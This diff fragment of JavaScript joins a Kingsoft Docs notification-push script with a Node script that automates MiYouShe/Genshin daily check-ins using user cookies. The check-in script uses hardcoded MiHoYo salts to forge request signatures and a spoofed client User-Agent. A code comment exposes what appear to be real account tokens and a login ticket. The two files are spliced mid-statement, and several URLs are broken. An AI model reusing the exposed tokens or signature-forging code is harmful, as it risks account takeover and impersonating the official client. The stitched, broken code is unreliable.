+ // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + // push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i配置文件 export mys='cookie1&cookie2' + * =>环境变量 变量名mys 变量值(如下) + * 多账号用 @ 分割 + * ==================================== + * 打开https://www.miyoushe.com/ys/ + * ALook浏览器打开登录后点击下方导航栏最下面三条杠往左滑 点击工具箱-开发者工具-cookie-拷贝 + * 打开http://user.mihoyo.com/ + * ALook浏览器打开登录后点击下方导航栏最下面三条杠往左滑 点击工具箱-开发者工具-cookie-拷贝 + * 两个拷贝下来拼接到一起 拼接字符& 拼接字符& 拼接字符& + * 示例: + * cookie_token_v2=xxx; account_mid_v2=xxx; account_id_v2=xxx; ltoken_v2=xxx; ltmid_v2=xxx; ltuid_v2=xxx & login_uid=xxx; login_ticket=xxx; + * 必要参数 cookie_token_v2 ltoken_v2 login_ticket + * 二选一参数 ltmid_v2或者account_mid_v2 and account_id_v2或者ltuid_v2或者login_id + * 请确保上面5个参数都存在 + */ +const $ = new Env("米游社 原神签到"); +const ckName = "mys"; +//-------------------- 一般不动变量区域 ------------------------------------- +const { log } = require("console"); +const Notify = 1; //0为关闭通知,1为打开通知,默认为1 +const notify = $.isNode() ? require("./sendNotify") : ""; +let envSplitor = ["@"]; //多账号分隔符 +let msg = ""; +let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ""; +let userList = []; +let userIdx = 0; +let userCount = 0; +let scriptVersionLatest; //最新版本 +let scriptVersionNow = "0.0.4"; //现在版本 +///////////////////// +let jiangliArr = []; +const fs = require('fs'); +let strShare = './Mihoyo_Account.json';//指定文件目录 +let Fileexists = fs.existsSync(strShare);//检测文件是否存在 +let TempAccount = []; +if (Fileexists) {//如果存在 + console.log("检测到米哈游缓存文件Mihoyo_Account.json,载入..."); + TempAccount = fs.readFileSync(strShare, 'utf-8'); + if (TempAccount) { + TempAccount = TempAccount.toString(); + TempAccount = JSON.parse(TempAccount); + } +} +//# 米游社的版本 # Salt和Version相互对应 +const mihoyobbs_version = "2.49.1"; +//# 米游社的客户端类型 # 1为ios 2为安卓 +const mihoyobbs_Client_type = "2"; +//# 4为pc web 5为mobile web +const mihoyobbs_Client_type_web = "5"; +//# 云原神版本 +const cloudgenshin_Version = "3.0.0"; +//# 米游社的分区列表 +const mihoyobbs_List = [ + { + id: "1", + forumId: "1", + name: "崩坏3", + url: "https://bbs.mihoyo.com/bh3/", + }, { + id: "2", + forumId: "26", + name: "原神", + url: "https://bbs.mihoyo.com/ys/", + }, { + id: "3", + forumId: "30", + name: "崩坏2", + url: "https://bbs.mihoyo.com/bh2/", + }, { + id: "4", + forumId: "37", + name: "未定事件簿", + url: "https://bbs.mihoyo.com/wd/", + }, { + id: "5", + forumId: "34", + name: "大别野", + url: "https://bbs.mihoyo.com/dby/", + }, { + id: "6", + forumId: "52", + name: "崩坏:星穹铁道", + url: "https://bbs.mihoyo.com/sr/", + }, { + id: "8", + forumId: "57", + name: "绝区零", + url: "https://bbs.mihoyo.com/zzz/", + }, +]; +const game_id2name = { + bh2_cn: "崩坏2", + bh3_cn: "崩坏3", + nxx_cn: "未定事件簿", + hk4e_cn: "原神", + hkrpg_cn: "崩坏:星穹铁道", +}; +const game_id2config = { + bh2_cn: "honkai2", + bh3_cn: "honkai3rd", + nxx_cn: "tears_of_themis", + hk4e_cn: "genshin", + hkrpg_cn: "honkaisr", +}; +//# 游戏签到的请求头 +const sign_headers = { + Accept: "application/json, text/plain, */*", + DS: "", + "x-rpc-channel": "miyousheluodi", + Origin: "https://webstatic.mihoyo.com", + "x-rpc-app_version": mihoyobbs_version, + "User-Agent": + `Mozilla/5.0 (Linux; Android 12; Unspecified Device) AppleWebKit/537.36 (KHTML, like Gecko) ` + + `Version/4.0 Chrome/103.0.5060.129 Mobile Safari/537.36 miHoYoBBS/${mihoyobbs_version}`, + "x-rpc-client_type": mihoyobbs_Client_type_web, + Referer: "", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,en-US;q=0.8", + "X-Requested-With": "com.mihoyo.hyperion", + Cookie: "", + "x-rpc-device_id": "", +}; +//# 通用设置 +const bbs_api = "https://bbs-api.mihoyo.com"; +const web_api = "https://api-takumi.mihoyo.com"; +const account_Info_url = web_api + "/binding/api/getUserGameRolesByCookie?game_biz="; +const act_id_list = { + genshin_Act_id: "e202009291139501", //# 原神自动签到相关的设置 + honkai_sr_Act_id: "e202304121516551", //# 星穹铁道自动签到相关设置 + honkai2_Act_id: "e202203291431091", //# 崩坏2自动签到相关的相关设置 + honkai3rd_Act_id: "e202207181446311", //# 崩坏3自动签到相关的设置 + tearsofthemis_Act_id: "e202202251749321", //# 未定事件簿自动签到相关设置 +} +//# 米游社的API列表 +const bbs_api_list = { + bbs_cookie_url: "https://webapi.account.mihoyo.com/Api/cookie_accountinfo_by_loginticket?login_ticket={}", + bbs_cookie_url2: web_api + "/auth/api/getMultiTokenByLoginTicket?login_ticket={}&token_types=3&uid={}", + bbs_tasks_list: bbs_api + "/apihub/sapi/getUserMissionsState", //# 获取任务列表 + bbs_sign_url: bbs_api + "/apihub/app/api/signIn", //# post + bbs_post_list_url: bbs_api + "/post/api/getForumPostList?forum_id={}&is_good=false&is_hot=false&page_size=20&sort_type=1", + bbs_detail_url: bbs_api + "/post/api/getPostFull?post_id={}", + bbs_share_url: bbs_api + "/apihub/api/getShareConf?entity_id={}&entity_type=1", + bbs_like_url: bbs_api + "/apihub/sapi/upvotePost", //# post json + bbs_get_captcha: bbs_api + "/misc/api/createVerification?is_high=true", + bbs_captcha_verify: bbs_api + "/misc/api/verifyVerification", +}; +//# 通用游戏签到API +const any_checkin_rewards = web_api + "/event/luna/home?lang=zh-cn&act_id={}"; +const any_is_signurl = web_api + "/event/luna/info?lang=zh-cn&act_id={}®ion={}&uid={}"; +const any_sign_url = web_api + "/event/luna/sign"; +//# 原神相关API +const genshin_checkin_rewards = `${web_api}/event/bbs_sign_reward/home?act_id=${act_id_list['genshin_Act_id']}`; +const genshin_Is_signurl = web_api + "/event/bbs_sign_reward/info?act_id={}®ion={}&uid={}"; +const genshin_Signurl = web_api + "/event/bbs_sign_reward/sign"; +//# 云原神相关api +const cloud_genshin_Api = "https://api-cloudgame.mihoyo.com"; +const cloud_genshin_sgin = cloud_genshin_Api + "/hk4e_cg_cn/wallet/wallet/get"; +//# 接下来是国际服的内容 +const os_lang = "zh-cn"; +const os_referer_url = "https://act.hoyolab.com/"; +// SaltConfig 对象,存储生成 Headers 所用的 salt 值 +const SaltConfig = { + //# 米游社的Salt + mihoyobbs_salt: "egBrFMO1BPBG0UX5XOuuwMRLZKwTVKRV", + mihoyobbs_salt_x4: "xV8v4Qu54lUKrEYFZkJhB8cuOh9Asafs", + mihoyobbs_salt_x6: "t0qEgfub6cvueAPgR5m9aQWWVciEer7v", + mihoyobbs_salt_web: "DG8lqMyc9gquwAUFc7zBS62ijQRX9XF7", +}; +//--------------------------------------------------------- +async function start() { + await getVersion("smallfawn/QLScriptPublic/main/mys.js"); + log(`todoList:此次版本更新为过渡版本,以后将增加米游币的任务`) + log(`tips:更新双变量模式,两个网址获取的两个cookie用&分割`) + log(`\n====== 当前版本:${scriptVersionNow} 📌 最新版本:${scriptVersionLatest} ======`); + await getNotice(); + let taskall; + log("\n==========> 获取当月奖励详情 <==========\n"); + taskall = []; + for (let user of userList) { + if (user.ckStatus) { + if (user.index == 1) { + taskall.push(await user.getAwards(act_id_list['genshin_Act_id']))//原神奖励列表 + } + taskall.push(await user.main()); + await $.wait(1000); + await Promise.all(taskall); + } else { + log(`账号[${user.index}] cookie参数不全,停止执行!所有任务`) + } + } + await Promise.all(taskall); +} +//新接口APP签到COOKIE +//ltuid=296874595; login_ticket=iMBL8bwpaiCiKqjzhbmzLBp9xL5fuGn8uDF0k3Y1; account_id=296874595; ltoken=UJhY0UQQNt0kwagQNGXTZu73WfIjUHLviHPxiliV; cookie_token=kT4pb3rkmMiK0Biaec9KlfKu1zFop2C0Dcv0hCpL; +//ltoken通过verifyToken接口获得 Cookie必须含有account_id和cookie_token 返回Set-Cookie 中包含 ltoken +class UserInfo { + constructor(str) { + this.index = ++userIdx; + this.cookieStr = str.split("&")[0]; + this.cookieStr_login = str.split("&")[1]; + this.cookieStr_login = this.cookieStr_login.replace(/\s/g, ''); + this.cookieStr_login += ";" + this.ckStatus = true; + this.cookie_token_v2 = ""; + this.account_mid_v2 = ""; + this.account_id_v2 = ""; + this.ltoken_v2 = ""; + this.ltmid_v2 = ""; + this.ltuid_v2 = ""; + this.login_uid = ""; + this.login_ticket = ""; + this.stuid = ""; + this.stoken = ""; + this.device_id = ""; + this.region = ""; + this.uid_ys = ""; + this.isLoginApp = false + } + async getCookie() { + this.cookieStr = this.cookieStr.replace(/\s/g, ''); + //log(this.cookieStr) + const cookieMustValues1 = ['cookie_token_v2', 'ltoken_v2']; + for (const cookieName of cookieMustValues1) { + const match = new RegExp(`${cookieName}=([^;]+)`).exec(this.cookieStr); + if (match !== null) { + this[cookieName] = match[1]; + } else { + log(`账号[${this.index}] ${cookieName} cookie参数不全,停止执行!所有任务`) + this.ckStatus = false + return + } + } + const cookieMustValues2 = ['account_mid_v2', 'account_id_v2', 'ltmid_v2', 'ltuid_v2']; + for (const cookieName of cookieMustValues2) { + const match = new RegExp(`${cookieName}=([^;]+)`).exec(this.cookieStr); + if (match !== null) { + this[cookieName] = match[1]; + } else { + this[cookieName] = match; + } + } + /*if (/cookie_token_v2=([^;]+)/.exec(this.cookieStr) !== null) { + this.cookie_token_v2 = /cookie_token_v2=([^;]+)/.exec(this.cookieStr)[1]; + } + if (/account_mid_v2=([^;]+)/.exec(this.cookieStr) !== null) { + this.account_mid_v2 = /account_mid_v2=([^;]+)/.exec(this.cookieStr)[1]; + } + } + this.cookie_token_v2 = /cookie_token_v2=([^;]+)/.exec(this.cookieStr)[1]; + this.account_mid_v2 = /account_mid_v2=([^;]+)/.exec(this.cookieStr)[1];*/ + if (/login_ticket=([^;]+)/.exec(this.cookieStr_login)) { + this.login_ticket = /login_ticket=([^;]+)/.exec(this.cookieStr_login)[1] + this.isLoginApp = true; + } else { + this.login_ticket == ""; + this.isLoginApp = false; + } + //this.stuid = ""; + //this.stoken = ""; + this.setValues('UID')//设置UID和MID + this.setValues('MID')//设置UID和MID + this.checkCookie() + if (this.ckStatus) { + await this.GetCollect() + } + //使用获取到的Cookie + if (this.isLoginApp) { + this.cookieAll = `cookie_token_v2=${this.cookie_token_v2}; account_mid_v2=${this.account_mid_v2}; account_id_v2=${this.account_id_v2}; ltoken_v2=${this.ltoken_v2}; ltmid_v2=${this.ltmid_v2}; ltuid_v2=${this.ltuid_v2}; login_uid=${this.login_uid}; login_ticket=${this.login_ticket};` + } else { + this.cookieAll = `cookie_token_v2=${this.cookie_token_v2}; account_mid_v2=${this.account_mid_v2}; account_id_v2=${this.account_id_v2}; ltoken_v2=${this.ltoken_v2}; ltmid_v2=${this.ltmid_v2}; ltuid_v2=${this.ltuid_v2};` + } + } + checkCookie() { + if (this.cookie_token_v2 && this.account_mid_v2 && this.account_id_v2 && this.ltoken_v2 && this.ltmid_v2 && this.ltuid_v2 && this.login_uid) { + this.ckStatus = true; + } else { + this.ckStatus = false; + log(`缺少参数 设置false`) + } + } + setValues(str) { + if (str == 'UID') { + this.account_id_v2 = this.account_id_v2 || this.ltuid_v2 || this.login_uid; + this.ltuid_v2 = this.ltuid_v2 || this.account_id_v2 || this.login_uid; + //log(`this.ltuid_v2` + this.ltuid_v2) + //log(`this.account_id_v2` + this.account_id_v2) + this.login_uid = this.login_uid || this.account_id_v2 || this.ltuid_v2; + //log(`this.login_uid` + this.login_uid) + } else if (str == 'MID') { + this.account_mid_v2 = this.account_mid_v2 || this.ltmid_v2 + this.ltmid_v2 = this.ltmid_v2 || this.account_mid_v2 + } + } + async GetCollect() { + let boolneedUpdate = false; + let isIn = false; + if (TempAccount) { + for (let j = 0; j < TempAccount.length; j++) { + if (TempAccount[j]["uid"] == this.account_id_v2 || TempAccount[j]["uid"] == this.ltuid_v2 || TempAccount[j]["uid"] == this.login_uid) { + isIn = true; + this.cookie_token_v2 = TempAccount[j]['cookie_token_v2']; + this.account_mid_v2 = TempAccount[j]['mid']; + this.account_id_v2 = TempAccount[j]['uid']; + this.ltoken_v2 = TempAccount[j]['ltoken_v2']; + this.ltmid_v2 = TempAccount[j]['mid']; + this.ltuid_v2 = TempAccount[j]['uid']; + this.login_uid = TempAccount[j]['uid']; + this.login_ticket = TempAccount[j]['login_ticket']; + this.stuid = TempAccount[j]['stuid'] + this.stoken = TempAccount[j]['stoken']; + this.device_id = TempAccount[j]['device_id']; + } + } + } + if (!isIn) { + console.log(`账号[${this.index}] 该账号无缓存,尝试联网获取stoken.....`); + if (this.isLoginApp) { + await this.task_login(); + } else { + console.log(`账号[${this.index}] 缺少login_ticket参数,不执行米游币任务`); + } + if (this.stoken == "" || this.stoken !== "") { + var tempAddCooKie = {}; + tempAddCooKie = { + "uid": this.account_id_v2, + "mid": this.account_mid_v2, + "cookie_token_v2": this.cookie_token_v2, + "ltoken_v2": this.ltoken_v2, + "login_ticket": this.login_ticket, + "stoken": this.stoken, + "device_id": getUUID() + }; + TempAccount.push(tempAddCooKie); + //标识,需要更新缓存文件 + boolneedUpdate = true; + } else { + boolneedUpdate = true + } + } + if (boolneedUpdate) { + var str = JSON.stringify(TempAccount, null, 2); + //var str = JSON.stringify(TempAccount); + //log(TempAccount) + fs.writeFile(strShare, str, function (err) { + if (err) { + console.log(err); + console.log("\n【缓存文件Mihoyo_Account.json更新失败!】\n"); + } else { + console.log("\n【缓存文件Mihoyo_Account.json更新成功!】\n"); + } + }) + } + } + async getHeaders() { + await this.GetCollect() + const headers = sign_headers; + headers['Cookie'] = this.cookieAll; + headers['DS'] = this.getDS(true) + headers['x-rpc-device_id'] = this.device_id//getUUID(); + headers['User-Agent'] = `Mozilla/5.0 (Linux; Android 12; Unspecified Device) AppleWebKit/537.36 (KHTML, like Gecko) ` + + `Version/4.0 Chrome/103.0.5060.129 Mobile Safari/537.36 miHoYoBBS/${mihoyobbs_version}` + return headers; + } + //# 获取请求Header里的DS 当web为true则生成网页端的DS + getDS(web) { + let salt; + if (web) { + salt = SaltConfig.mihoyobbs_salt_web; + } else { + salt = SaltConfig.mihoyobbs_salt; + } + const timestamp = Math.floor(Date.now() / 1e3); + const random = Math.random().toString(36).slice(-6); + const result = MD5_Encrypt(`salt=${salt}&t=${timestamp}&r=${random}`); + return `${timestamp},${random},${result}`; + } + /** + * # 获取请求Header里的DS(版本2) 这个版本ds之前见到都是查询接口里的 + * @param {*} q + * @param {*} b + * @returns + */ + getDS2(q, b) { + const salt = SaltConfig.mihoyobbs_salt_x6; + const timestamp = Math.floor(Date.now() / 1e3); + const random = Math.floor(Math.random() * (200000 - 100001 + 1) + 100001).toString(); + const add = `&b=${b}&q=${q}`; + const result = MD5_Encrypt(`salt=${salt}&t=${timestamp}&r=${random}${add}`); + return `${timestamp},${random},${result}`; + } + async getAwards(act_id) { + let options = { + url: `https://api-takumi.mihoyo.com/event/bbs_sign_reward/home?act_id=${act_id}`, + headers: {} + } + let result = await httpRequest(options) + for (let i in result.data.awards) { + jiangliArr.push(`${result.data.awards[i].name} * ${result.data.awards[i].cnt}`); + } + DoubleLog(jiangliArr); + } + async main() { + try { + await this.getCookie()//获取stuid以及stoken 且保存 以JSON格式 mihoyoConfig.json{存放 stuid为键 其他为值} + if (this.ckStatus) { + await this.get_info_ys() + await this.get_sign_info(act_id_list['genshin_Act_id']) + } + } catch (e) { + console.log(e); + } + } + async task_login() {//获取米哈游的APP stuid以及stoken + try { + let options, result + options = { + url: `https://webapi.account.mihoyo.com/Api/cookie_accountinfo_by_loginticket?login_ticket=${this.login_ticket}`, + headers: {} + }, result = await httpRequest(options); + //log(options) + //log(result) + if (result.data.msg == '成功') { + this.stuid = result.data.cookie_info.account_id + options = { + url: `https://api-takumi.mihoyo.com/auth/api/getMultiTokenByLoginTicket?login_ticket=${this.login_ticket}&token_types=3&uid=${this.stuid}`, + headers: {} + }, result = await httpRequest(options); + if (result.message == 'OK') { + this.stoken = result.data.list[0].token + //log(this.stoken) + //log(result) + //DoubleLog('保存STUID和STOKEN success') + } + } else { + DoubleLog(`账号[${this.index}] login_ticket已失效`); + } + } catch (e) { + console.log(e); + } + } + async get_info_ys() { + let headers = await this.getHeaders() + try { + let options = { + url: `https://api-takumi.mihoyo.com/binding/api/getUserGameRolesByCookie?game_biz=hk4e_cn`, + headers: headers, + }, + result = await httpRequest(options); + //console.log(options); + //console.log(result); + if (result.retcode == 0) { + //log(`账号[${this.index}] 获取原神信息成功`); + //let game_biz = result.data.list[0].game_biz; + let region = result.data.list[0].region; + let game_uid = result.data.list[0].game_uid; + let nickname = result.data.list[0].nickname; + let region_name = result.data.list[0].region_name; + this.region = region; + this.uid_ys = game_uid; + //log(game_biz, region, game_uid, nickname, region_name); + DoubleLog(`账号[${this.index}] 游戏昵称${nickname},${region_name}`); + } else { + DoubleLog(`账号[${this.index}] 获取原神信息:失败 ❌ ,原因未知!`); + log(result); + } + } catch (e) { + console.log(e); + } + } + /** + * 签到信息 + */ + async get_sign_info(act_id) { + let tmpHeaders = await this.getHeaders() + tmpHeaders['Referer'] = `https://webstatic.mihoyo.com/bbs/event/signin-ys/index.html?bbs_auth_required=true&act_id=${act_id}&utm_source=bbs&utm_medium=mys&utm_campaign=icon` + try { + let options = { + url: `https://api-takumi.mihoyo.com/event/bbs_sign_reward/info?act_id=${act_id}®ion=${this.region}&uid=${this.uid_ys}`, + headers: tmpHeaders + }, result = await httpRequest(options); + //console.log(options); + //console.log(result); + if (result.retcode == 0) { + //DoubleLog(`账号[${this.index}] 获取签到信息成功`); + DoubleLog(`账号[${this.index}] 签到天数${result.data.total_sign_day},今天${result.data.today},是否签到${result.data.is_sign}`); + if (result.data.is_sign == false) { + DoubleLog(`账号[${this.index}] 执行签到`); + await this.task_sign(act_id); + } + } else { + DoubleLog(`账号[${this.index}] 获取签到信息:失败 ❌ ,原因未知!`); + log(result); + } + } catch (e) { + console.log(e); + } + } + async task_sign(act_id) { + let tmpHeaders = await this.getHeaders() + tmpHeaders['Referer'] = `https://webstatic.mihoyo.com/bbs/event/signin-ys/index.html?bbs_auth_required=true&act_id=${act_id}&utm_source=bbs&utm_medium=mys&utm_campaign=icon` + try { + let options = { + url: `https://api-takumi.mihoyo.com/event/bbs_sign_reward/sign`, + headers: tmpHeaders, + body: $.toStr({ act_id: act_id, region: this.region, uid: this.uid_ys, }) + }, result = await httpRequest(options); + //console.log(options); + //console.log(result); + if (result.retcode == 0 && 'gt' in result.data) { + DoubleLog(`账号[${this.index}] 签到:失败,原因有点选验证请手动签到🎉`); + } else if (result.retcode == 0 && !('gt' in result.data)) { + DoubleLog(`账号[${this.index}] 签到:${result.message} ❌ 了呢,原因未知!`); + console.log(result); + } + } catch (e) { + console.log(e); + } + } +} +!(async () => { + if (!(await checkEnv())) return; + if (userList.length > 0) { + await start(); + } + await SendMsg(msg); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +//******************************************************** +// 变量检查与处理 +async function checkEnv() { + if (userCookie) { + // console.log(userCookie); + let e = envSplitor[0]; + for (let o of envSplitor) + if (userCookie.indexOf(o) > -1) { + e = o; + break; + } + for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n)); + userCount = userList.length; + } else { + console.log("未找到CK"); + return; + } + return console.log(`共找到${userCount}个账号`), true; //true == !0 +} +///////////////////////////////////////////////////////////////////////////////////// +function httpRequest(options, method) { + method = options.method ? options.method.toLowerCase() : options.body ? "post" : "get"; + return new Promise((resolve) => { + $[method](options, (err, resp, data) => { + try { + if (err) { + console.log(`${method}请求失败`); + $.logErr(err); + } else { + if (data) { + typeof JSON.parse(data) == "object" ? (data = JSON.parse(data)) : (data = data); + resolve(data); + } else { + console.log(`请求api返回数据为空,请检查自身原因`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function getUUID() { + return Array.from({ length: 32 }, () => Math.floor(Math.random() * 16).toString(16)).map((value, index) => [7, 11, 15, 19].includes(index) ? `-${value}` : value).join(""); +} +/** + * 获取远程版本 + */ +function getVersion(scriptUrl, timeout = 3 * 1000) { + return new Promise((resolve) => { + let options = { + url: `https:${scriptUrl}`, + }; + $.get( + options, + async (err, resp, data) => { + try { + let regex = /scriptVersionNow\s*=\s*(["'`])([\d.]+)\1/; + let match = data.match(regex); + scriptVersionLatest = match ? match[2] : ""; + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }, + timeout + ); + }); +} +async function getNotice() { + try { + let options = { + url: `https:Notice.json`, + headers: { "User-Agent": "" }, + }, + result = await httpRequest(options); + if (!result || !("notice" in result)) { + options.url = `https://gitee.com/smallfawn/Note/raw/master/Notice.json`; + result = await httpRequest(options); + } + if (result && "notice" in result) { + DoubleLog(`${result.notice}`); + } + } catch (e) { + console.log(e); + } +} +async function hitokoto(timeout = 3 * 1000) { + // 随机一言 + return new Promise((resolve) => { + try { + let options = { + url: "https://v1.hitokoto.cn/", + headers: {}, + }; //, //result = await httpRequest(options); + $.get( + options, + async (err, resp, data) => { + try { + data = JSON.parse(data); + resolve(data.hitokoto); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }, + timeout + ); + //return result.hitokoto + } catch (error) { + console.log(error); + } + }); +} +// 双平台log输出 +function DoubleLog(data) { + if ($.isNode()) { + if (data) { + console.log(`${data}`); + msg += `\n${data}`; + } + } else { + console.log(`${data}`); + msg += `\n${data}`; + } +} +// 发送消息 +async function SendMsg(message) { + if (!message) return; + if (Notify > 0) { + if ($.isNode()) { + await notify.sendNotify($.name, message); + } else { + $.msg($.name, "", message); + } + } else { + console.log(message); + } +} +// 完整 Env +function MD5_Encrypt(a) { function b(a, b) { return (a << b) | (a >>> (32 - b)); } function c(a, b) { var c, d, e, f, g; return ((e = 2147483648 & a), (f = 2147483648 & b), (c = 1073741824 & a), (d = 1073741824 & b), (g = (1073741823 & a) + (1073741823 & b)), c & d ? 2147483648 ^ g ^ e ^ f : c | d ? 1073741824 & g ? 3221225472 ^ g ^ e ^ f : 1073741824 ^ g ^ e ^ f : g ^ e ^ f); } function d(a, b, c) { return (a & b) | (~a & c); } function e(a, b, c) { return (a & c) | (b & ~c); } function f(a, b, c) { return a ^ b ^ c; } function g(a, b, c) { return b ^ (a | ~c); } function h(a, e, f, g, h, i, j) { return (a = c(a, c(c(d(e, f, g), h), j))), c(b(a, i), e); } function i(a, d, f, g, h, i, j) { return (a = c(a, c(c(e(d, f, g), h), j))), c(b(a, i), d); } function j(a, d, e, g, h, i, j) { return (a = c(a, c(c(f(d, e, g), h), j))), c(b(a, i), d); } function k(a, d, e, f, h, i, j) { return (a = c(a, c(c(g(d, e, f), h), j))), c(b(a, i), d); } function l(a) { for (var b, c = a.length, d = c + 8, e = (d - (d % 64)) / 64, f = 16 * (e + 1), g = new Array(f - 1), h = 0, i = 0; c > i;) (b = (i - (i % 4)) / 4), (h = (i % 4) * 8), (g[b] = g[b] | (a.charCodeAt(i) << h)), i++; return ((b = (i - (i % 4)) / 4), (h = (i 